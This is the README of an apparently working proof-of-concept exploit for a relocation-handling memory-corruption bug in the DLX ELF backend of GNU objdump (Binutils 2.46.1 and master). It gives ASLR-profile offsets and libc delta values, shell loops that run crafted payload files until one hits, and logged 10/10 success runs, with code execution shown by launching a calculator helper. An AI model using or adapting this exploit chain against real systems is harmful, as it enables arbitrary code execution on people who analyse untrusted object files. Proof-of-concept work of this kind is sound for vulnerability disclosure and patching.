exploitarium/objdump-dlx-calc-poc/README.md

objdump dlx calc poc

Small repro for an objdump -g crash-to-calc path in the DLX ELF backend.

This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running objdump on it. It is not a network RCE by itself. The demo payload starts the tiny helper named P, and that helper opens calculator.

Tested against a binutils-gdb master build from commit:

c311f4d37f31ff3fbb5db6923abcdf93bb75a37b

Also validated against the official GNU Binutils 2.46.1 release tarball with a clean dlx-elf objdump build:

GNU objdump (GNU Binutils) 2.46.1
elf32-dlx

whats in here

• payloads/*.bin - crafted ELF/DLX object files to feed to objdump
• payloads/*.notes - notes for each generated payload variant
• P - helper script that writes calc_hit.log and starts Windows calculator from WSL
• run_dlx_calc_poc.sh - tries the payload variants until one hits
• generate_objdump_dlx_calc_poc.py - regenerates the payload variants
• dlx_chain_builder.py - small builder used by the generator
• docs/aslr-bypass-analysis.md - notes on why this is profile-dependent
• tools/search_pointer_transform.py - Z3 sanity check for fixed pointer transforms
• tools/aslr_delta_coverage.py - lists the libc low-32 delta coverage used by the generator

The payload files are named .bin because they are raw binary files, but the file format inside is ELF/DLX.

why there are multiple payloads

ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in payloads/ are a small set of guesses for the address layout seen during testing.

The generator emits the original profile, a WSL/Ubuntu 24.04 profile measured against the pinned dlx-elf build, and a profile measured against a clean GNU Binutils 2.46.1 dlx-elf build. The profiles keep ASLR on but use stable relative offsets observed in the target process:

layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff

layout=gnu2461 off_io=-0x3690 off_sec=0xbb8 rbase=0x190 sec_size_offset=0x40
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500, 0x6f42e600, 0x7043e4ff, 0x6f43e5ff, 0x7043e5ff, or 0x6f43e6ff

That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. The six system_delta values cover every page-aligned low-32-bit libc base for the documented _IO_2_1_stderr_ and system offsets. A miss can still happen if the heap/libio profile or libc build does not match, so the runner keeps the retry loop.

More detail is in docs/aslr-bypass-analysis.md.

The expanded gnu2461 profile was validated with the existing runner against a clean GNU Binutils 2.46.1 dlx-elf objdump build:

HIT try=1 payload=payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s7042e500.bin
CALC_HELPER_RAN 2026-06-25T11:19:07Z

A ten-run one-sweep stability pass against the same clean build also hit every run:

hits=10/10
CALC_HELPER_RAN 2026-06-25T11:19:31Z

So a plain crash like this does not always mean the PoC failed:

Segmentation fault (core dumped)

The useful signal is either calculator opening, or calc_hit.log getting a fresh CALC_HELPER_RAN ... line.

quick run

From WSL:

cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
cat calc_hit.log

Example with a local binutils build:

MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump

manual run without the helper loop

If you want to do the same thing by hand and keep ASLR on:

cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
rm -f calc_hit.log

for p in payloads/*.bin; do
  echo "$p"
  /path/to/objdump -g "$p" >/dev/null 2>&1 || true
  if [ -s calc_hit.log ]; then
    echo "HIT $p"
    cat calc_hit.log
    break
  fi
done

Same thing as a one-liner:

rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done

regenerating payloads

rm -rf payloads
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads

The runner will also regenerate payloads/ automatically if the folder is missing or empty.

what the bug is doing

At a high level, the crafted DLX object gives objdump -g relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command P.

That is why PATH matters. The helper is run by name, so this line is needed:

export PATH="$PWD:$PATH"

Without it, you can still get the segfault, but the helper might not be found.

cleanup

Runtime files are not needed:

rm -f calc_hit.log objdump-poc.out

The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.